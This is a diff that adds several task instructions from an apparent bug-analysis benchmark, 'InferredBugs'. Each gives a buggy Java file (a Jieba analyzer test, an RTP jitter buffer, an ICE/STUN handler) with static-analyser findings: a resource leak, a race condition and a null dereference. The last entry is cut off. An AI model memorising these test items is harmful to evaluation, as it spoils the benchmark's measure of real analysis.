+++ b/inferredbugs-4961/instruction.md
@@ -0,0 +1,225 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** elasticsearch-analysis-jieba
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.elasticsearch.index.analysis;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.StringReader;
+
+import org.apache.lucene.analysis.TokenStream;
+import org.apache.lucene.analysis.tokenattributes.CharTermAttribute;
+import org.apache.lucene.analysis.tokenattributes.OffsetAttribute;
+import org.junit.Test;
+
+public class JiebaAnalyzerTest {
+    String[] sentences = new String[] {
+            "这是一个伸手不见五指的黑夜。我叫孙悟空，我爱北京，我爱Python和C++。",
+            "我不喜欢日本和服。",
+            "雷猴回归人间。",
+            "工信处女干事每月经过下属科室都要亲口交代24口交换机等技术性器件的安装工作",
+            "我需要廉租房",
+            "永和服装饰品有限公司",
+            "我爱北京天安门",
+            "abc",
+            "隐马尔可夫",
+            "雷猴是个好网站",
+            "“,”和“SOFTware（软件）”两部分组成",
+            "草泥马和欺实马是今年的流行词汇",
+            "伊藤洋华堂总府店",
+            "中国科学院计算技术研究所",
+            "罗密欧与朱丽叶",
+            "我购买了道具和服装",
+            "PS: 我觉得开源有一个好处，就是能够敦促自己不断改进，避免敞帚自珍",
+            "湖北省石首市",
+            "湖北省十堰市",
+            "总经理完成了这件事情",
+            "电脑修好了",
+            "做好了这件事情就一了百了了",
+            "人们审美的观点是不同的",
+            "我们买了一个美的空调",
+            "线程初始化时我们要注意",
+            "一个分子是由好多原子组织成的",
+            "祝你马到功成",
+            "他掉进了无底洞里",
+            "中国的首都是北京",
+            "孙君意",
+            "外交部发言人马朝旭",
+            "领导人会议和第四届东亚峰会",
+            "在过去的这五年",
+            "还需要很长的路要走",
+            "60周年首都阅兵",
+            "你好人们审美的观点是不同的",
+            "买水果然后来世博园",
+            "买水果然后去世博园",
+            "但是后来我才知道你是对的",
+            "存在即合理",
+            "的的的的的在的的的的就以和和和",
+            "I love你，不以为耻，反以为rong",
+            "因",
+            "",
+            "hello你好人们审美的观点是不同的",
+            "很好但主要是基于网页形式",
+            "hello你好人们审美的观点是不同的",
+            "为什么我不能拥有想要的生活",
+            "后来我才",
+            "此次来中国是为了",
+            "使用了它就可以解决一些问题",
+            ",使用了它就可以解决一些问题",
+            "其实使用了它就可以解决一些问题",
+            "好人使用了它就可以解决一些问题",
+            "是因为和国家",
+            "老年搜索还支持",
+            "干脆就把那部蒙人的闲法给废了拉倒！RT @laoshipukong : 27日，全国人大常委会第三次审议侵权责任法草案，删除了有关医疗损害责任“举证倒置”的规定。在医患纠纷中本已处于弱势地位的消费者由此将陷入万劫不复的境地。 ",
+            "大", "", "他说的确实在理", "长春市长春节讲话", "结婚的和尚未结婚的", "结合成分子时", "旅游和服务是最好的",
+            "这件事情的确是我的错", "供大家参考指正", "哈尔滨政府公布塌桥原因", "我在机场入口处", "邢永臣摄影报道",
+            "BP神经网络如何训练才能在分类时增加区分度？", "南京市长江大桥",
+            "应一些使用者的建议，也为了便于利用NiuTrans用于SMT研究", "长春市长春药店", "邓颖超生前最喜欢的衣服",
+            "胡锦涛是热爱世界和平的政治局常委", "程序员祝海林和朱会震是在孙健的左面和右面, 范凯在最右面.再往左是李松洪",
+            "一次性交多少钱", "两块五一套，三块八一斤，四块七一本，五块六一条", "小和尚留了一个像大和尚一样的和尚头",
+            "我是中华人民共和国公民;我爸爸是共和党党员; 地铁和平门站", "张晓梅去人民医院做了个B超然后去买了件T恤",
+            "AT&T是一件不错的公司，给你发offer了吗？", "C++和c#是什么关系？11+122=133，是吗？PI=3.14159",
+            "你认识那个和主席握手的的哥吗？他开一辆黑色的士。", "枪杆子中出政权" };
+
+    @Test
+    public void test() throws IOException {
+        JiebaAnalyzer analyzer = new JiebaAnalyzer("index", new File("data"),
+                true);
+
+        for (String sentence : sentences) {
+            TokenStream tokenStream = analyzer.tokenStream(null,
+                    new StringReader(sentence));
+            tokenStream.reset();
+            while (tokenStream.incrementToken()) {
+                CharTermAttribute termAtt = tokenStream
+                        .getAttribute(CharTermAttribute.class);
+                OffsetAttribute offsetAtt = tokenStream
+                        .getAttribute(OffsetAttribute.class);
+                System.out
+                        .println(termAtt.toString() + ","
+                                + offsetAtt.startOffset() + ","
+                                + offsetAtt.endOffset());
+            }
+            tokenStream.reset();
+        }
+    }
+
+    @Test
+    public void testSegModeOther() throws IOException {
+        JiebaAnalyzer analyzer = new JiebaAnalyzer("other", new File("data"),
+                true);
+
+        for (String sentence : sentences) {
+            TokenStream tokenStream = analyzer.tokenStream(null,
+                    new StringReader(sentence));
+            tokenStream.reset();
+            while (tokenStream.incrementToken()) {
+                CharTermAttribute termAtt = tokenStream
+                        .getAttribute(CharTermAttribute.class);
+                OffsetAttribute offsetAtt = tokenStream
+                        .getAttribute(OffsetAttribute.class);
+                System.out
+                        .println(termAtt.toString() + ","
+                                + offsetAtt.startOffset() + ","
+                                + offsetAtt.endOffset());
+            }
+            tokenStream.reset();
+        }
+    }
+
+    @Test
+    public void testBugSentences() throws IOException {
+        String[] bugSentences = new String[] { "干脆就把那部蒙人的闲法给废了拉倒！RT @laoshipukong : 27日，全国人大常委会第三次审议侵权责任法草案，删除了有关医疗损害责任“举证倒置”的规定。在医患纠纷中本已处于弱势地位的消费者由此将陷入万劫不复的境地。 " };
+        JiebaAnalyzer analyzer = new JiebaAnalyzer("index", new File("data"),
+                true);
+
+        for (String sentence : bugSentences) {
+            TokenStream tokenStream = analyzer.tokenStream(null,
+                    new StringReader(sentence));
+            tokenStream.reset();
+            while (tokenStream.incrementToken()) {
+                CharTermAttribute termAtt = tokenStream
+                        .getAttribute(CharTermAttribute.class);
+                OffsetAttribute offsetAtt = tokenStream
+                        .getAttribute(OffsetAttribute.class);
+                System.out
+                        .println(termAtt.toString() + ","
+                                + offsetAtt.startOffset() + ","
+                                + offsetAtt.endOffset());
+            }
+            tokenStream.reset();
+        }
+
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.elasticsearch.index.analysis.JiebaAnalyzer` acquired by call to `JiebaAnalyzer(...)` at line 106 is not released after line 125.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JiebaAnalyzerTest.testSegModeOther()
+
+### Procedure Id:
+org.elasticsearch.index.analysis.JiebaAnalyzerTest.testSegModeOther():void.76de93c77380a1df2db319540c968e5c
+
+### File:
+src/test/java/org/elasticsearch/index/analysis/JiebaAnalyzerTest.java
+
+### Key:
+JiebaAnalyzerTest.java|testSegModeOther|RESOURCE_LEAK
+
+### Node Key:
+d17ff65b15f71d7c122f3ef3fc1e6e62
+
+### Hash:
+0fe9d77a8ed5d766ab7633c149d9a47f
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4966/instruction.md b/inferredbugs-4966/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9af8c82fddfa492e55607c55e0a92b4264e60c45
--- /dev/null
+++ b/inferredbugs-4966/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** media-core
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * JBoss, Home of Professional Open Source
+ * Copyright 2011, Red Hat, Inc. and individual contributors
+ * by the @authors tag. See the copyright.txt in the distribution for a
+ * full listing of individual contributors.
+ *
+ * This is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as
+ * published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This software is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this software; if not, write to the Free
+ * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA, or see the FSF site: http://www.fsf.org.
+ */
+
+package org.mobicents.media.server.impl.rtp;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.concurrent.locks.ReentrantLock;
+
+import org.apache.log4j.Logger;
+import org.mobicents.media.server.io.sdp.format.RTPFormat;
+import org.mobicents.media.server.io.sdp.format.RTPFormats;
+import org.mobicents.media.server.spi.memory.Frame;
+import org.mobicents.media.server.spi.memory.Memory;
+
+/**
+ * Implements jitter buffer.
+ * 
+ * A jitter buffer temporarily stores arriving packets in order to minimize
+ * delay variations. If packets arrive too late then they are discarded. A
+ * jitter buffer may be mis-configured and be either too large or too small.
+ * 
+ * If a jitter buffer is too small then an excessive number of packets may be
+ * discarded, which can lead to call quality degradation. If a jitter buffer is
+ * too large then the additional delay can lead to conversational difficulty.
+ * 
+ * A typical jitter buffer configuration is 30mS to 50mS in size. In the case of
+ * an adaptive jitter buffer then the maximum size may be set to 100-200mS. Note
+ * that if the jitter buffer size exceeds 100mS then the additional delay
+ * introduced can lead to conversational difficulty.
+ *
+ * @author oifa yulian
+ */
+public class JitterBuffer implements Serializable {
+	
+	private static final long serialVersionUID = -389930569631795779L;
+	
+	private final ReentrantLock LOCK = new ReentrantLock();
+
+	//The underlying buffer size
+    private static final int QUEUE_SIZE = 10;
+    //the underlying buffer
+    private ArrayList<Frame> queue = new ArrayList<Frame>(QUEUE_SIZE);
+    
+    //RTP clock
+    private RtpClock rtpClock;
+    //first received sequence number
+    private long isn = -1;
+
+    //allowed jitter
+    private long jitterBufferSize;
+    
+    //packet arrival dead line measured on RTP clock.
+    //initial value equals to infinity
+    private long arrivalDeadLine = 0;
+
+    //packet arrival dead line measured on RTP clock.
+    //initial value equals to infinity
+    private long droppedInRaw = 0;
+    
+    //The number of dropped packets
+    private int dropCount;
+
+    //known duration of media wich contains in this buffer.
+    private volatile long duration;
+
+    //buffer's monitor
+    private BufferListener listener;
+
+    private volatile boolean ready;
+    
+    /**
+     * used to calculate network jitter.
+     * currentTransit measures the relative time it takes for an RTP packet 
+     * to arrive from the remote server to MMS
+     */
+    private long currentTransit = 0;
+    
+    /**
+     * continuously updated value of network jitter 
+     */
+    private long currentJitter = 0;
+    
+    //transmission formats
+    private RTPFormats rtpFormats = new RTPFormats();
+    
+    //currently used format
+    private RTPFormat format;
+    
+    private Boolean useBuffer=true;
+    
+    private final static Logger logger = Logger.getLogger(JitterBuffer.class);
+    /**
+     * Creates new instance of jitter.
+     * 
+     * @param clock the rtp clock.
+     */
+    public JitterBuffer(RtpClock clock, int jitterBufferSize) {
+        this.rtpClock = clock;
+        this.jitterBufferSize = jitterBufferSize;        
+    }
+
+    private void initJitter(RtpPacket firstPacket) {
+        long arrival = rtpClock.getLocalRtpTime();
+        long firstPacketTimestamp = firstPacket.getTimestamp();
+        currentTransit = arrival - firstPacketTimestamp;
+    }
+    
+	/**
+	 * Calculates the current network jitter, which is an estimate of the
+	 * statistical variance of the RTP data packet interarrival time:
+	 * http://tools.ietf.org/html/rfc3550#appendix-A.8
+	 */
+	private void estimateJitter(RtpPacket newPacket) {
+		long arrival = rtpClock.getLocalRtpTime();
+		long newPacketTimestamp = newPacket.getTimestamp();
+		long transit = arrival - newPacketTimestamp;
+		long d = transit - currentTransit;
+		if (d < 0) {
+			d = -d;
+		}
+		//logger.info(String.format("recalculating jitter: arrival=%d, newPacketTimestamp=%d, transit=%d, transit delta=%d", arrival, newPacketTimestamp, transit, d ));
+		currentTransit = transit;
+		currentJitter += d - ((currentJitter + 8) >> 4);
+	}
+    
+    /**
+     * 
+     * @return the current value of the network RTP jitter. The value is in normalized form as specified in RFC 3550 
+     * http://tools.ietf.org/html/rfc3550#appendix-A.8
+     */
+    public long getEstimatedJitter() {
+            long jitterEstimate = currentJitter >> 4; 
+            // logger.info(String.format("Jitter estimated at %d. Current transit time is %d.", jitterEstimate, currentTransit));
+            return jitterEstimate;
+    }
+    
+    public void setFormats(RTPFormats rtpFormats) {
+        this.rtpFormats = rtpFormats;
+    }
+    
+    /**
+     * Gets the interarrival jitter.
+     *
+     * @return the current jitter value.
+     */
+    public double getJitter() {
+        return 0;
+    }
+
+    /**
+     * Gets the maximum interarrival jitter.
+     *
+     * @return the jitter value.
+     */
+    public double getMaxJitter() {
+        return 0;
+    }
+    
+    /**
+     * Get the number of dropped packets.
+     * 
+     * @return the number of dropped packets.
+     */
+    public int getDropped() {
+        return dropCount;
+    }
+    
+    public boolean bufferInUse()
+    {
+    	return this.useBuffer;
+    }
+    
+    public void setBufferInUse(boolean useBuffer)
+    {
+    	this.useBuffer=useBuffer;
+    }
+    
+    /**
+     * Assigns listener for this buffer.
+     * 
+     * @param listener the listener object.
+     */
+    public void setListener(BufferListener listener) {
+        this.listener = listener;
+    }
+
+    /**
+     * Accepts specified packet
+     *
+     * @param packet the packet to accept
+     */
+	public void write(RtpPacket packet, RTPFormat format) {
+		// checking format
+		if (format == null) {
+			logger.warn("No format specified. Packet dropped!");
+			return;
+		}
+
+		if (this.format == null || this.format.getID() != format.getID()) {
+			this.format = format;
+			logger.info("Format has been changed: " + this.format.toString());
+		}
+
+		// if this is first packet then synchronize clock
+		if (isn == -1) {
+			rtpClock.synchronize(packet.getTimestamp());
+			isn = packet.getSeqNumber();
+			initJitter(packet);
+		} else {
+			estimateJitter(packet);
+		}
+
+		// update clock rate
+		rtpClock.setClockRate(this.format.getClockRate());
+
+		// drop outstanding packets
+		// packet is outstanding if its timestamp of arrived packet is less
+		// then consumer media time
+		if (packet.getTimestamp() < this.arrivalDeadLine) {
+			logger.warn("drop packet: dead line=" + arrivalDeadLine + ", packet time=" + packet.getTimestamp() + ", seq=" + packet.getSeqNumber() + ", payload length=" + packet.getPayloadLength() + ", format=" + this.format.toString());
+			dropCount++;
+
+			// checking if not dropping too much
+			droppedInRaw++;
+			if (droppedInRaw == QUEUE_SIZE / 2 || queue.size() == 0) {
+				arrivalDeadLine = 0;
+			} else {
+				return;
+			}
+		}
+
+		Frame f = Memory.allocate(packet.getPayloadLength());
+		// put packet into buffer irrespective of its sequence number
+		f.setHeader(null);
+		f.setSequenceNumber(packet.getSeqNumber());
+		// here time is in milliseconds
+		f.setTimestamp(rtpClock.convertToAbsoluteTime(packet.getTimestamp()));
+		f.setOffset(0);
+		f.setLength(packet.getPayloadLength());
+		packet.getPayload(f.getData(), 0);
+
+		// set format
+		f.setFormat(this.format.getFormat());
+		
+		// make checks only if have packet
+		if (f != null) {
+		    LOCK.lock();
+
+		    droppedInRaw = 0;
+
+			// find correct position to insert a packet
+			// use timestamp since its always positive
+			int currIndex = queue.size() - 1;
+			while (currIndex >= 0 && queue.get(currIndex).getTimestamp() > f.getTimestamp()) {
+				currIndex--;
+			}
+
+			// check for duplicate packet
+			if (currIndex >= 0 && queue.get(currIndex).getSequenceNumber() == f.getSequenceNumber()) {
+			    LOCK.unlock();
+				return;
+			}
+
+			queue.add(currIndex + 1, f);
+
+			// recalculate duration of each frame in queue and overall duration
+			// since we could insert the frame in the middle of the queue
+			duration = 0;
+			if (queue.size() > 1) {
+				duration = queue.get(queue.size() - 1).getTimestamp() - queue.get(0).getTimestamp();
+			}
+
+			for (int i = 0; i < queue.size() - 1; i++) {
+				// duration measured by wall clock
+				long d = queue.get(i + 1).getTimestamp() - queue.get(i).getTimestamp();
+				// in case of RFC2833 event timestamp remains same
+				queue.get(i).setDuration(d > 0 ? d : 0);
+			}
+
+			// if overall duration is negative we have some mess here,try to
+			// reset
+			if (duration < 0 && queue.size() > 1) {
+				logger.warn("Something messy happened. Reseting jitter buffer!");
+				reset();
+				LOCK.unlock();
+				return;
+			}
+
+			// overflow?
+			// only now remove packet if overflow , possibly the same packet we just received
+			if (queue.size() > QUEUE_SIZE) {
+				logger.warn("Buffer overflow!");
+				dropCount++;
+				queue.remove(0).recycle();
+			}
+			LOCK.unlock();
+
+			// check if this buffer already full
+			if (!ready) {
+				ready = !useBuffer || (duration >= jitterBufferSize && queue.size() > 1);
+				if (ready && listener != null) {
+					listener.onFill();
+				}
+			}
+		}
+	}     
+
+    /**
+     * Polls packet from buffer's head.
+     *
+     * @param timestamp the media time measured by reader
+     * @return the media frame.
+     */
+    public Frame read(long timestamp) {
+    	if (queue.size()==0) {
+    		this.ready = false;
+    		return null;
+    	}
+    	
+    	LOCK.lock();
+    	
+    	//extract packet
+    	Frame frame = queue.remove(0);
+    		
+    	//buffer empty now? - change ready flag.
+    	if (queue.size() == 0) {
+    		this.ready = false;
+    		//arrivalDeadLine = 0;
+    		//set it as 1 ms since otherwise will be dropped by pipe
+    		frame.setDuration(1);
+    	}
+    	
+    	LOCK.unlock();
+    		
+    	arrivalDeadLine = rtpClock.convertToRtpTime(frame.getTimestamp() + frame.getDuration());
+    	
+    	//convert duration to nanoseconds
+    	frame.setDuration(frame.getDuration() * 1000000L);
+    	frame.setTimestamp(frame.getTimestamp() * 1000000L);
+        
+    	return frame;    	
+    }
+    
+    /**
+     * Resets buffer.
+     */
+    public void reset() {
+    	while(queue.size()>0)
+    		queue.remove(0).recycle();
+    }
+    
+    public void restart() {
+    	reset();
+    	this.ready=false;
+    	arrivalDeadLine = 0;
+    	dropCount=0;
+    	droppedInRaw=0;
+    	format=null;
+    	isn=-1;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.mobicents.media.server.impl.rtp.JitterBuffer.write` indirectly reads without synchronization from `this.org.mobicents.media.server.impl.rtp.JitterBuffer.rtpClock.org.mobicents.media.server.impl.rtp.RtpClock.clockRate`. Potentially races with write in method `JitterBuffer.write(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JitterBuffer.write(RtpPacket,RTPFormat)
+
+### Procedure Id:
+org.mobicents.media.server.impl.rtp.JitterBuffer.write(org.mobicents.media.server.impl.rtp.RtpPacket.6c3d4cbcf94252696caa4a5dcec4e6ba
+
+### File:
+io/rtp/src/main/java/org/mobicents/media/server/impl/rtp/JitterBuffer.java
+
+### Key:
+JitterBuffer.java|write|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6b491f17b09bf145ab72f51d96d7125c
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4968/instruction.md b/inferredbugs-4968/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6a83a878bc39e08ef830487ece1989195dde7a03
--- /dev/null
+++ b/inferredbugs-4968/instruction.md
@@ -0,0 +1,328 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** media-core
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * TeleStax, Open Source Cloud Communications
+ * Copyright 2011-2015, Telestax Inc and individual contributors
+ * by the @authors tag. 
+ *
+ * This is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as
+ * published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This software is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this software; if not, write to the Free
+ * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA, or see the FSF site: http://www.fsf.org.
+ */
+
+package org.mobicents.media.io.ice;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import org.apache.log4j.Logger;
+import org.mobicents.media.io.ice.events.IceEventListener;
+import org.mobicents.media.io.ice.events.SelectedCandidatesEvent;
+import org.mobicents.media.io.stun.StunException;
+import org.mobicents.media.io.stun.messages.StunMessage;
+import org.mobicents.media.io.stun.messages.StunMessageFactory;
+import org.mobicents.media.io.stun.messages.StunRequest;
+import org.mobicents.media.io.stun.messages.StunResponse;
+import org.mobicents.media.io.stun.messages.attributes.StunAttribute;
+import org.mobicents.media.io.stun.messages.attributes.StunAttributeFactory;
+import org.mobicents.media.io.stun.messages.attributes.general.ErrorCodeAttribute;
+import org.mobicents.media.io.stun.messages.attributes.general.MessageIntegrityAttribute;
+import org.mobicents.media.io.stun.messages.attributes.general.UsernameAttribute;
+import org.mobicents.media.server.io.network.TransportAddress;
+import org.mobicents.media.server.io.network.TransportAddress.TransportProtocol;
+import org.mobicents.media.server.io.network.channel.PacketHandler;
+import org.mobicents.media.server.io.network.channel.PacketHandlerException;
+
+/**
+ * @author Henrique Rosa (henrique.rosa@telestax.com)
+ *
+ */
+public class IceHandler implements PacketHandler {
+    
+    private static final Logger logger = Logger.getLogger(IceHandler.class);
+
+    // Packet Handler properties
+    private int pipelinePriority;
+
+    // Candidate properties
+    private final short componentId;
+
+    // Message Integrity
+    private IceAuthenticator authenticator;
+
+    // Handshake state
+    private final IceEventListener iceListener;
+    private final AtomicBoolean candidateSelected;
+
+    public IceHandler(short componentId, IceEventListener iceListener) {
+        // Packet Handler properties
+        this.pipelinePriority = 1;
+
+        // Candidate properties
+        switch (componentId) {
+            case IceComponent.RTP_ID:
+            case IceComponent.RTCP_ID:
+                this.componentId = componentId;
+                break;
+
+            default:
+                throw new IllegalArgumentException("Invalid component ID: " + componentId);
+        }
+
+        // Handshake state
+        this.iceListener = iceListener;
+        this.candidateSelected = new AtomicBoolean(false);
+    }
+
+    public short getComponentId() {
+        return componentId;
+    }
+    
+    public void setAuthenticator(IceAuthenticator authenticator) {
+        this.authenticator = authenticator;
+    }
+
+    @Override
+    public int compareTo(PacketHandler o) {
+        return (o == null) ? 1 : this.getPipelinePriority() - o.getPipelinePriority();
+    }
+
+    /*
+     * All STUN messages MUST start with a 20-byte header followed by zero or more Attributes.
+     * The STUN header contains a STUN message type, magic cookie, transaction ID, and message length.
+     * 
+     *  0                   1                   2                   3
+     *  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+     * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+     * |0 0|     STUN Message Type     |         Message Length        |
+     * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+     * |                         Magic Cookie                          |
+     * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+     * |                                                               |
+     * |                     Transaction ID (96 bits)                  |
+     * |                                                               |
+     * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+     * 
+     * @see <a href="http://tools.ietf.org/html/rfc5389#page-10">RFC5389</a>
+     */
+    @Override
+    public boolean canHandle(byte[] packet) {
+        return canHandle(packet, packet.length, 0);
+    }
+
+    @Override
+    public boolean canHandle(byte[] packet, int dataLength, int offset) {
+        byte b0 = packet[offset];
+        int b0Int = b0 & 0xff;
+
+        // STUN message must start with 20-byte header followed by zero or more attributes
+        // First byte must be less than 2 (https://tools.ietf.org/html/rfc5764#section-5.1.2)
+        if (b0Int < 2 && dataLength >= 20) {
+            // The most significant 2 bits of every STUN message MUST be zeroes.
+            boolean firstBitsValid = ((b0 & 0xC0) == 0);
+
+            // The magic cookie field MUST contain the fixed value 0x2112A442 in network byte order.
+            boolean hasMagicCookie = packet[offset + 4] == StunMessage.MAGIC_COOKIE[0]
+                    && packet[offset + 5] == StunMessage.MAGIC_COOKIE[1] && packet[offset + 6] == StunMessage.MAGIC_COOKIE[2]
+                    && packet[offset + 7] == StunMessage.MAGIC_COOKIE[3];
+            return firstBitsValid && hasMagicCookie;
+        }
+        return false;
+    }
+
+    @Override
+    public byte[] handle(byte[] packet, InetSocketAddress localPeer, InetSocketAddress remotePeer)
+            throws PacketHandlerException {
+        return handle(packet, packet.length, 0, localPeer, remotePeer);
+    }
+
+    @Override
+    public byte[] handle(byte[] packet, int dataLength, int offset, InetSocketAddress localPeer, InetSocketAddress remotePeer)
+            throws PacketHandlerException {
+        try {
+            StunMessage message = StunMessage.decode(packet, (char) offset, (char) dataLength);
+            if (message instanceof StunRequest) {
+                return processRequest((StunRequest) message, localPeer, remotePeer);
+            } else if (message instanceof StunResponse) {
+                return processResponse((StunResponse) message);
+            } else {
+                // TODO STUN Indication is not supported as of yet
+                return null;
+            }
+        } catch (StunException e) {
+            throw new PacketHandlerException("Could not decode STUN packet", e);
+        } catch (IOException e) {
+            throw new PacketHandlerException(e.getMessage(), e);
+        }
+    }
+
+    private byte[] processRequest(StunRequest request, InetSocketAddress localPeer, InetSocketAddress remotePeer)
+            throws IOException {
+
+        // Produce Binding Response
+        TransportAddress transportAddress = new TransportAddress(remotePeer.getAddress(), remotePeer.getPort(), TransportProtocol.UDP);
+        StunResponse response = StunMessageFactory.createBindingResponse(request, transportAddress);
+        byte[] transactionID = request.getTransactionId();
+        try {
+            response.setTransactionID(transactionID);
+        } catch (StunException e) {
+            throw new IOException("Illegal STUN Transaction ID: " + new String(transactionID), e);
+        }
+
+        // The agent MUST use a short-term credential to authenticate the request and perform a message integrity check.
+        UsernameAttribute remoteUnameAttribute;
+        String remoteUsername;
+        // Send binding error response if username is null
+        try {
+            remoteUnameAttribute = (UsernameAttribute) request.getAttribute(StunAttribute.USERNAME);
+            remoteUsername = new String(remoteUnameAttribute.getUsername());
+        }
+        catch(NullPointerException nullPointer) {
+            response.setMessageType(StunMessage.BINDING_ERROR_RESPONSE);
+            response.addAttribute(StunAttributeFactory.createErrorCodeAttribute(ErrorCodeAttribute.BAD_REQUEST,
+                    ErrorCodeAttribute.getDefaultReasonPhrase(ErrorCodeAttribute.BAD_REQUEST)));
+            return response.encode();
+        } 
+
+        // The agent MUST consider the username to be valid if it consists of two values separated by a colon, where the first
+        // value is equal to the username fragment generated by the agent in an offer or answer for a session in-progress.
+        if (!this.authenticator.validateUsername(remoteUsername)) {
+            // TODO return error response
+            throw new IOException("Invalid username " + remoteUsername);
+        }
+
+        // The username for the credential is formed by concatenating the username fragment provided by the peer with the
+        // username fragment of the agent sending the request, separated by a colon (":").
+        int colon = remoteUsername.indexOf(":");
+        String localUFrag = remoteUsername.substring(0, colon);
+        String remoteUfrag = remoteUsername.substring(colon + 1);
+
+        // Add USERNAME and MESSAGE-INTEGRITY attribute in the response.
+        // The responses utilize the same usernames and passwords as the requests.
+        String localUsername = remoteUfrag.concat(":").concat(localUFrag);
+        StunAttribute unameAttribute = StunAttributeFactory.createUsernameAttribute(localUsername);
+        response.addAttribute(unameAttribute);
+
+        byte[] localKey = this.authenticator.getLocalKey(localUFrag);
+        MessageIntegrityAttribute integrityAttribute = StunAttributeFactory.createMessageIntegrityAttribute(remoteUsername,
+                localKey);
+        response.addAttribute(integrityAttribute);
+
+        // If the client issues a USE-CANDIDATE, tell ICE Agent to select the candidate
+        if (request.containsAttribute(StunAttribute.USE_CANDIDATE)) {
+            if (!this.candidateSelected.get()) {
+                this.candidateSelected.set(true);
+                if (logger.isDebugEnabled()) {
+                    logger.debug("Selected candidate " + remotePeer.toString());
+                }
+                this.iceListener.onSelectedCandidates(new SelectedCandidatesEvent(remotePeer));
+            }
+        }
+
+        // Pass response to the server
+        return response.encode();
+    }
+
+    private byte[] processResponse(StunResponse response) {
+        throw new UnsupportedOperationException("Support to handle STUN responses is not implemented.");
+    }
+
+    @Override
+    public int getPipelinePriority() {
+        return this.pipelinePriority;
+    }
+
+    public void setPipelinePriority(int pipelinePriority) {
+        this.pipelinePriority = pipelinePriority;
+    }
+    
+    public void reset() {
+        this.authenticator = null;
+        this.candidateSelected.set(false);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `remoteUnameAttribute.getUsername()` could be null and is dereferenced by call to `String(...)` at line 188.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
